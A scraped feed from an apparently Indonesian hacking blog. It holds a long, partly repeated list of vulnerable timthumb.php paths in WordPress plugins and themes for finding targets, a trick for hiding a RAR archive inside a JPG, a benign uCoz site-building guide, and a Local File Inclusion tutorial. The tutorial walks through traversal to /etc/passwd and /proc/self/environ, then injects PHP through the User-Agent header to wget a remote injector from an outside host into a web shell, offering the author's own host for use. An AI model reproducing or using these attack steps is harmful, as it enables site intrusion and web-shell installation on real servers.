wp-content/plugins/communitypress/cp-themes/cp-default/timthumb.php
wp-content/plugins/kino-gallery/timthumb.php
wp-content/plugins/mobileposty-mobile-site-generator/timthumb.php
wp-content/plugins/thumbnails-anywhere/timthumb.php
wp-content/plugins/yd-export2email/timthumb.php
wp-content/plugins/wp-dailybooth/timthumb.php
wp-content/plugins/image-rotator-widget/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/lisl-last-image-slider/timthumb.php
wp-content/plugins/cac-featured-content/timthumb.php
wp-content/plugins/image-symlinks/timthumb.php
wp-content/plugins/add-new-default-avatar-emrikols-fork/includes/timthumb.php
wp-content/plugins/kc-related-posts-by-category/timthumb.php
wp-content/plugins/cms-pack/timthumb.php
wp-content/plugins/tim-widget/scripts/timthumb.php
wp-content/plugins/a-gallery/timthumb.php
wp-content/plugins/igit-related-posts-widget/timthumb.php
wp-content/plugins/wps3slider/scripts/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/logo-management/includes/timthumb.php
wp-content/plugins/simple-coverflow/timthumb.php
wp-content/plugins/smart-related-posts-thumbnails/timthumb.php
wp-content/plugins/wptap-news-press-themeplugin-for-iphone/include/timthumb.php
wp-content/plugins/igit-posts-slider-widget/timthumb.php
wp-content/plugins/event-espresso-free/includes/functions/timthumb.php
wp-content/plugins/fotoslide/timthumb.php
wp-content/plugins/mangapress/includes/mangapress-timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/tag-gallery/timthumb/timthumb.php
wp-content/plugins/wp-slick-slider/includes/timthumb/timthumb.php
wp-content/plugins/sliceshow-slideshow/scripts/timthumb.php
wp-content/plugins/hungred-image-fit/scripts/timthumb.php
wp-content/plugins/sharepulse/timthumb.php
wp-content/plugins/wordpress-thumbnail-slider/timthumb.php
wp-content/plugins/thethe-image-slider/timthumb.php
wp-content/plugins/mobile-smart/includes/timthumb.php
wp-content/plugins/meenews-newsletter/inc/classes/timthumb.php
wp-content/plugins/wordpress-news-ticker-plugin/timthumb.php
wp-content/plugins/wordpress-gallery-plugin/timthumb.php
wp-content/plugins/sh-slideshow/timthumb.php
wp-content/plugins/db-toolkit/libs/timthumb.php
wp-content/plugins/geotag/tools/timthumb/timthumb.php
wp-content/plugins/jquery-slider-for-featured-content/scripts/timthumb.php
wp-content/plugins/timthumb-meets-tinymce/ttplugin/timthumb.php
wp-content/plugins/verve-meta-boxes/tools/timthumb.php
wp-content/plugins/seo-image-galleries/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/featured-post-with-thumbnail/scripts/timthumb.php
wp-content/plugins/wp-featured-post-with-thumbnail/scripts/timthumb.php
wp-content/plugins/wp-thumbie/timthumb.php;;18755
wp-content/plugins/dukapress/lib/timthumb.php
wp-content/plugins/front-slider/scripts/timthumb.php
wp-content/plugins/shortcodes-ultimate/lib/timthumb.php
wp-content/plugins/vslider/timthumb.php
wp-content/plugins/wp-mobile-detector/timthumb.php
wp-content/plugins/yd-recent-posts-widget/timthumb/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/themes/zcool-like/timthumb.php
wp-content/themes/wpbus-d4/includes/timthumb.php
wp-content/themes/wp-premium-orange/timthumb.php
wp-content/themes/wp-perfect/js/timthumb.php
wp-content/themes/wp-newsmagazine/scripts/timthumb.php
wp-content/themes/wp-creativix/scripts/timthumb.php
wp-content/themes/vibefolio-teaser-10/scripts/timthumb.php
wp-content/themes/versitility/timthumb.php
wp-content/themes/unity/timthumb.php
wp-content/themes/ugly/timthumb.php
wp-content/themes/typographywp/timthumb.php
wp-content/themes/twittplus/scripts/timthumb.php
wp-content/themes/ttnews-theme/timthumb.php
wp-content/themes/true-blue-theme/timthumb.php
wp-content/themes/travelogue-theme/scripts/timthumb.php
wp-content/themes/totallyred/scripts/timthumb.php
wp-content/themes/tm-theme/js/timthumb.php
wp-content/themes/the_dark_os/tools/timthumb.php
wp-content/themes/swift/timthumb.php
wp-content/themes/swift/includes/timthumb.php
wp-content/themes/suffusion/timthumb.php
wp-content/themes/squeezepage/timthumb.php
wp-content/themes/spotlight/timthumb.php
wp-content/themes/slidette/timThumb/timthumb.php
wp-content/themes/simplewhite/timthumb.php
wp-content/themes/simplenews_premium/scripts/timthumb.php
wp-content/themes/simple-red-theme/timthumb.php
wp-content/themes/simple-but-great/timthumb.php
wp-content/themes/shadow/timthumb.php
wp-content/themes/shaan/timthumb.php
wp-content/themes/regal/timthumb.php
wp-content/themes/probluezine/timthumb.php
wp-content/themes/postage-sydney/includes/timthumb.php
wp-content/themes/pico/scripts/timthumb.php
wp-content/themes/pearlie/scripts/timthumb.php
wp-content/themes/new-green-natural-living-ngnl/scripts/timthumb.php
wp-content/themes/neofresh/timthumb.php
wp-content/themes/nash/theme-assets/php/timthumb.php
wp-content/themes/mystique/extensions/auto-thumb/timthumb.php
wp-content/themes/mymag/timthumb.php
wp-content/themes/my-heli/images/timthumb.php
wp-content/themes/moi-magazine/timthumb.php
wp-content/themes/make-money-online-theme/scripts/timthumb.php
wp-content/themes/make-money-online-theme-4/scripts/timthumb.php
wp-content/themes/make-money-online-theme-3/scripts/timthumb.php
wp-content/themes/make-money-online-theme-2/scripts/timthumb.php
wp-content/themes/make-money-online-theme-1/scripts/timthumb.php
wp-content/themes/magup/timthumb.php
wp-content/themes/litepress/scripts/timthumb.php
wp-content/themes/likehacker/timthumb.php
wp-content/themes/jellyfish/lib/rt-timthumb.php
wp-content/themes/iwana-v10/timthumb.php
wp-content/themes/impressio/timthumb/timthumb.php
wp-content/themes/ideatheme/timthumb.php
wp-content/themes/here-comes-the-bride/lib/rt-timthumb.php
wp-content/themes/heli-1-wordpress-theme/images/timthumb.php
wp-content/themes/greyzed/functions/efrog/lib/timthumb.php
wp-content/themes/greydove/timthumb.php
wp-content/themes/granite-lite/scripts/timthumb.php
wp-content/themes/go-green/modules/timthumb.php
wp-content/themes/fresh-blu/scripts/timthumb.php
wp-content/themes/flix/timthumb.php
wp-content/themes/fliphoto/timthumb.php
wp-content/themes/featuring/timthumb.php
wp-content/themes/famous/timthumb.php
wp-content/themes/evr-green/scripts/timthumb.php
wp-content/themes/epione/script/timthumb.php
wp-content/themes/dimenzion/timthumb.php
wp-content/themes/deep-blue/timthumb.php
wp-content/themes/dark-dream-media/timthumb.php
wp-content/themes/coverht-wp/scripts/timthumb.php
wp-content/themes/cover-wp/scripts/timthumb.php
wp-content/themes/constructor/timthumb.php
wp-content/themes/constructor/libs/timthumb.php
wp-content/themes/conceditor-wp-strict/scripts/timthumb.php
wp-content/themes/comet/scripts/timthumb.php
wp-content/themes/calotropis/includes/timthumb.php
wp-content/themes/business-turnkey/assets/js/timthumb.php
wp-content/themes/brochure-melbourne/includes/timthumb.php
wp-content/themes/brightsky/scripts/timthumb.php
wp-content/themes/breakingnewz/timthumb.php
wp-content/themes/bombax/includes/timthumb.php
wp-content/themes/bluemag/library/timthumb.php
wp-content/themes/blue-news/scripts/timthumb.php
wp-content/themes/blue-corporate-hyve-theme/timthumb.php
wp-content/themes/blogified/timthumb.php
wp-content/themes/bloggnorge-a1/scripts/timthumb.php
wp-content/themes/blex/scripts/timthumb.php
wp-content/themes/black_eve/timthumb.php
wp-content/themes/automotive-blog-theme/timthumb.php
wp-content/themes/automotive-blog-theme/Quick%20Cash%20Auto/timthumb.php
wp-content/themes/aurorae/timthumb.php
wp-content/themes/aureola/scripts/timthumb.php
wp-content/themes/artisan/includes/timthumb.php
wp-content/themes/arthemix-green/scripts/timthumb.php
wp-content/themes/arthemix-bronze/scripts/timthumb.php
wp-content/themes/arras/library/timthumb.php
wp-content/themes/arras-theme/library/timthumb.php
wp-content/themes/aranovo/scripts/timthumb.php
wp-content/themes/aqua-blue/includes/timthumb.php
wp-content/themes/amphion-lite/script/timthumb.php
wp-content/themes/albizia/includes/timthumb.php
wp-content/themes/aesthete/timthumb.php
wp-content/themes/aerial/lib/timthumb.php
wp-content/themes/a-supercms/timthumb.php
wp-content/themes/a-simple-business-theme/scripts/timthumb.php
wp-content/themes/8q/scripts/timthumb.php
wp-content/themes/zcool-like/timthumb.php
wp-content/themes/wpbus-d4/includes/timthumb.php
wp-content/themes/wp-premium-orange/timthumb.php
wp-content/themes/wp-perfect/js/timthumb.php
wp-content/themes/wp-newsmagazine/scripts/timthumb.php
wp-content/themes/wp-creativix/scripts/timthumb.php
wp-content/themes/vibefolio-teaser-10/scripts/timthumb.php
wp-content/themes/versitility/timthumb.php
wp-content/themes/unity/timthumb.php
wp-content/themes/ugly/timthumb.php
wp-content/themes/typographywp/timthumb.php
wp-content/themes/twittplus/scripts/timthumb.php
wp-content/themes/ttnews-theme/timthumb.php
wp-content/themes/true-blue-theme/timthumb.php
wp-content/themes/travelogue-theme/scripts/timthumb.php
wp-content/themes/totallyred/scripts/timthumb.php
wp-content/themes/tm-theme/js/timthumb.php
wp-content/themes/the_dark_os/tools/timthumb.php
wp-content/themes/swift/timthumb.php
wp-content/themes/swift/includes/timthumb.php
wp-content/themes/suffusion/timthumb.php
wp-content/themes/squeezepage/timthumb.php
wp-content/themes/spotlight/timthumb.php
wp-content/themes/slidette/timThumb/timthumb.php
wp-content/themes/simplewhite/timthumb.php
wp-content/themes/simplenews_premium/scripts/timthumb.php
wp-content/themes/simple-red-theme/timthumb.php
wp-content/themes/simple-but-great/timthumb.php
wp-content/themes/shadow/timthumb.php
wp-content/themes/shaan/timthumb.php
wp-content/themes/regal/timthumb.php
wp-content/themes/probluezine/timthumb.php
wp-content/themes/postage-sydney/includes/timthumb.php
wp-content/themes/pico/scripts/timthumb.php
wp-content/themes/pearlie/scripts/timthumb.php
wp-content/themes/new-green-natural-living-ngnl/scripts/timthumb.php
wp-content/themes/neofresh/timthumb.php
wp-content/themes/nash/theme-assets/php/timthumb.php
wp-content/themes/mystique/extensions/auto-thumb/timthumb.php
wp-content/themes/mymag/timthumb.php
wp-content/themes/my-heli/images/timthumb.php
wp-content/themes/moi-magazine/timthumb.php
wp-content/themes/make-money-online-theme/scripts/timthumb.php
wp-content/themes/make-money-online-theme-4/scripts/timthumb.php
wp-content/themes/make-money-online-theme-3/scripts/timthumb.php
wp-content/themes/make-money-online-theme-2/scripts/timthumb.php
wp-content/themes/make-money-online-theme-1/scripts/timthumb.php
wp-content/themes/magup/timthumb.php
wp-content/themes/litepress/scripts/timthumb.php
wp-content/themes/likehacker/timthumb.php
wp-content/themes/jellyfish/lib/rt-timthumb.php
wp-content/themes/iwana-v10/timthumb.php
wp-content/themes/impressio/timthumb/timthumb.php
wp-content/themes/ideatheme/timthumb.php
wp-content/themes/here-comes-the-bride/lib/rt-timthumb.php
wp-content/themes/heli-1-wordpress-theme/images/timthumb.php
wp-content/themes/greyzed/functions/efrog/lib/timthumb.php
wp-content/themes/greydove/timthumb.php
wp-content/themes/granite-lite/scripts/timthumb.php
wp-content/themes/go-green/modules/timthumb.php
wp-content/themes/fresh-blu/scripts/timthumb.php
wp-content/themes/flix/timthumb.php
wp-content/themes/fliphoto/timthumb.php
wp-content/themes/featuring/timthumb.php
wp-content/themes/famous/timthumb.php
wp-content/themes/evr-green/scripts/timthumb.php
wp-content/themes/epione/script/timthumb.php
wp-content/themes/dimenzion/timthumb.php
wp-content/themes/deep-blue/timthumb.php
wp-content/themes/dark-dream-media/timthumb.php
wp-content/themes/coverht-wp/scripts/timthumb.php
wp-content/themes/cover-wp/scripts/timthumb.php
wp-content/themes/constructor/timthumb.php
wp-content/themes/constructor/libs/timthumb.php
wp-content/themes/conceditor-wp-strict/scripts/timthumb.php
wp-content/themes/comet/scripts/timthumb.php
wp-content/themes/calotropis/includes/timthumb.php
wp-content/themes/business-turnkey/assets/js/timthumb.php
wp-content/themes/brochure-melbourne/includes/timthumb.php
wp-content/themes/brightsky/scripts/timthumb.php
wp-content/themes/breakingnewz/timthumb.php
wp-content/themes/bombax/includes/timthumb.php
wp-content/themes/bluemag/library/timthumb.php
wp-content/themes/blue-news/scripts/timthumb.php
wp-content/themes/blue-corporate-hyve-theme/timthumb.php
wp-content/themes/blogified/timthumb.php
wp-content/themes/bloggnorge-a1/scripts/timthumb.php
wp-content/themes/blex/scripts/timthumb.php
wp-content/themes/black_eve/timthumb.php
wp-content/themes/automotive-blog-theme/timthumb.php
wp-content/themes/automotive-blog-theme/Quick%20Cash%20Auto/timthumb.php
wp-content/themes/aurorae/timthumb.php
wp-content/themes/aureola/scripts/timthumb.php
wp-content/themes/artisan/includes/timthumb.php
wp-content/themes/arthemix-green/scripts/timthumb.php
wp-content/themes/arthemix-bronze/scripts/timthumb.php
wp-content/themes/arras/library/timthumb.php
wp-content/themes/arras-theme/library/timthumb.php
wp-content/themes/aranovo/scripts/timthumb.php
wp-content/themes/aqua-blue/includes/timthumb.php
wp-content/themes/amphion-lite/script/timthumb.php
wp-content/themes/albizia/includes/timthumb.php
wp-content/themes/aesthete/timthumb.php
wp-content/themes/aerial/lib/timthumb.php
wp-content/themes/a-supercms/timthumb.php
wp-content/themes/a-simple-business-theme/scripts/timthumb.php
wp-content/themes/8q/scripts/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/cac-featured-content/timthumb.php
wp-content/plugins/rent-a-car/libs/timthumb.php
wp-content/plugins/lisl-last-image-slider/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/kino-gallery/timthumb.php
wp-content/plugins/cms-pack/timthumb.php
wp-content/plugins/a-gallery/timthumb.php
wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php
wp-content/plugins/verve-meta-boxes/tools/timthumb.php
wp-content/plugins/extend-wordpress/helpers/timthumb/image.php
wp-content/plugins/timthumb-vulnerability-scanner/cg-tvs-admin-panel.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/uBillboard/timthumb.php

mungkin hanya ini dulu :) ntar ada update update nya =))

]]> http://blog.conficker.web.id/bug-dork-timthumb-2012.html/feed 7 Cara Membuat Website dalam waktu cepat http://blog.conficker.web.id/cara-membuat-website-dalam-waktu-cepat.html http://blog.conficker.web.id/cara-membuat-website-dalam-waktu-cepat.html#comments Tue, 29 Nov 2011 07:26:24 +0000 Conficker http://blog.conficker.web.id/?p=129 kali ini saya membuat articel buat teman teman yang sering tanya bagaimana sih cara membuat website ?  ~X(

pada pembuatan website dsini sudah termasuk domain dan hosting, forum, photo album, CMS dll

1.  masuk ke http://ucoz.com

2. Isilah kolom isian yang tersedia, pada kolom site addres, isilah domain yang akan anda buat dan pilih domain yang ada suka, pada situs www.ucoz.com terdapat banyak sekali domain yang bisa digunakan seperti ucoz.com ucoz.net ucoz.org ucoz.ru ucoz.de ucoz.ua dan masih banyak lagi. Setelah anda mengisinya silahkan klik register.

3. Anda akan diminta untuk memasukan password untuk masuk ke Control Panel. Silahkan isi password login seperti gambar dibawah ini.

4.  Tahap selanjutnya anda akah diminta untuk memasukan nama yang akan di tampilkan di sebelah logo, pada artikel ini saya memasukan ”K.E.Y.Brain Staff” tulisan ini nanti akan tampil pada header website anda.

5. Tahap selanjutnya anda akan diminta untuk mengaktifkan applikasi web apa saja yang akan anda insatll pada situs anda, pada artikel kali ini saya mengaktifkan semua applikasi web pada situs saya.

6. Setelah itu anda akan diminta untuk memasukkan password kembali, password yang diminta kali ini adalah password untuk login kedalam website dan password FTP untuk mengupload file-file anda.

7. Setelah anda menekan tombol continue, informasi mengenai account anda akan ditampilkan seperti username, password FTP login dll.

8. Yup. Webiste anda sudah jadi, skrng coba cek situs anda, anda bisa mengecek situs yang telah saya buat di http://ibliz-tampan.at.ua

ternyata mudah sekali yah membuat web. ok deh sekarang tinggal di design sesuai keperluan =))

sumber : http://exploreyourbrain.com/

http://blog.conficker.web.id/wp-includes/images/smilies/putus.gif
]]> http://blog.conficker.web.id/cara-membuat-website-dalam-waktu-cepat.html/feed 8 Tips Menyembunyikan File ke Dalam Gambar http://blog.conficker.web.id/tips-menyembunyikan-file-ke-dalam-gambar.html http://blog.conficker.web.id/tips-menyembunyikan-file-ke-dalam-gambar.html#comments Fri, 18 Nov 2011 07:51:18 +0000 Conficker http://blog.conficker.web.id/?p=122 itung itung hari libur jadi ane meluangkan waktu buat nulis artikel lagi.. cimiw

langsung saja

Langkah 1 :
Kumpulkan file-file anda yang ingin di sembunyikan dan compress jadi satu dengan menggunakan Winrar.
Misalkan beri nama filerahasia.rar

Langkah 2 :
Siapkan sebuah file gambar (.jpg).
Misalkan beri nama gambar.jpg

Langkah 3 :
Letakkan kedua file tersebut ( File gambar.jpg dan filerahasia.rar )dalam sebuah directory yang sama.
misalkan Drive c:

Langkah 4 :
Buka command prompt dan ketikkan :
c:\>copy /b gambar.jpg+filerahasia.rar hasil.jpg

Langkah 5 :
Setelah itu akan tercipta sebuah file baru dengan nama hasil.jpg.
Coba anda buka file hasil.jpg.
Sekilas tidak akan ada bedanya dengan file gambar.jpg milik anda kecuali ukuran filenya yang bertambah besar.
Anda tetap bisa membuka file tersebut dengan Picture Editor atau Image Viewer anda.
Tidak ada tanda-tanda bahwa sebenarnya ada sebuah file rahasia didalamnya.

Langkah 6 :
Bagaimana cara membuka file rahasia anda?
Klik kanan pada file hasil.jpg lalu pilihlah [Open With] –> [Choose Program..]. Pilihlah WinRar lalu klik [OK].
Anda akan bisa melihat file rahasia anda dan bisa mengextract seperti biasanya.

]]> http://blog.conficker.web.id/tips-menyembunyikan-file-ke-dalam-gambar.html/feed 0 Local File Inclusion (LFI) http://blog.conficker.web.id/local-file-inclusion-lfi-2.html http://blog.conficker.web.id/local-file-inclusion-lfi-2.html#comments Tue, 15 Nov 2011 07:53:14 +0000 Conficker http://blog.conficker.web.id/?p=101 kembali lagi sama saya. udah lama gak nulis artikel dikarenakanan kesibukan ngurus server

sebenarnya saya gak tau merangkai kata kata. tetapi sesuai rencana saya ingin belajar dan berbagi maka saya kali ini saya menulis artikel tentang injeksi lfi dengan Add-on yaitu User Agent Switcher 0.7.3, Add on nya bisa di download di https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/?src=search . .

seperti yang kita ketahui pada umumnya, kita harus menemukan dulu direktori utama dari server ini. teknik lama yg ampuh adalah dengan mencoba satu persatu, dan menaikan ke tingkat direktori diatasnya. contoh:

http://localhost/buglfi.php?file=../etc/passwd%00 (contoh naik 1 directory)

bila gagal

http://site.com/buglfi.php?file=../../etc/passwd%00

http://site.com/buglfi.php?file=../../../etc/passwd%00

http://site.com/buglfi.php?file=../../../../etc/passwd%00   terus naik sampai file /etc/passwd terinclude

 

contoh isi dari /etc/passwd

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

 

bila menemui halaman berisi seperti itu, berarti sudah ketemu letak direktori root. misal :

http://site.com/buglfi.php?file=../../../../../etc/passwd%00

 

kemudian kita tes include file environ

http://site.com/buglfi.php?file=../../../../../proc/selv/environ%00

injek dan dapatkan output nya seperti ini.

DOCUMENT_ROOT=/home/trafalg/public_htmlGATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7HTTP_ACCEPT_ENCODING=gzip,   deflateHTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5HTTP_AUTHORIZATION=HTTP_CONNECTION=keep-aliveHTTP_COOKIE=uname=Linux+host97.hrwebservices.net+2.6.18-274.3.1.el5+%231+SMP+Tue+Sep+6+20%3A13%3A52+EDT+2011+x86_64+x86_64+x86_64+GNU%2FLinux;   id=uid%3D32593%28trafalg%29+gid%3D32596%28trafalg%29+groups%3D32596%28trafalg%29;  sysctl=-;  c8dd27a241ad8723ed6693190a9aee42=2b8c6c3b3c130b64aca0649ed2f5f48eHTTP_HOST=trafalgarvillage.orgHTTP_USER_AGENT=Mozilla/5.0  (Windows NT 5.1; rv:8.0) Gecko/20100101  Firefox/8.0PATH=/bin:/usr/binQUERY_STRING

yerps langsung saja kita injek menggunakan user agent

jadi pertama harus setting dulu user agen, silahkan lihat gambar di bawah ini

user agen

jadi intinya kalo kita memasukkan user agen dengan ikhy conficker, otomatis server akan mengetahui kalau user agen nya ada ikhy conficker

HTTP_USER_AGENT=ikhy conficker

dengan cara seperti itu, maka kita dapat memanipulasinya.

contohnya seperti pada gambar di atas, saya mencoba untuk menganti user agent nya dengan

<?php system ('wget http://iki.do.am/new.txt -O version.php');?>

NB: http://iki.do.am/new.txt bisa di ganti dengan url injektor sobat sobat atau juga bisa memakai punyanya saya =))

]]> http://blog.conficker.web.id/local-file-inclusion-lfi-2.html/feed 0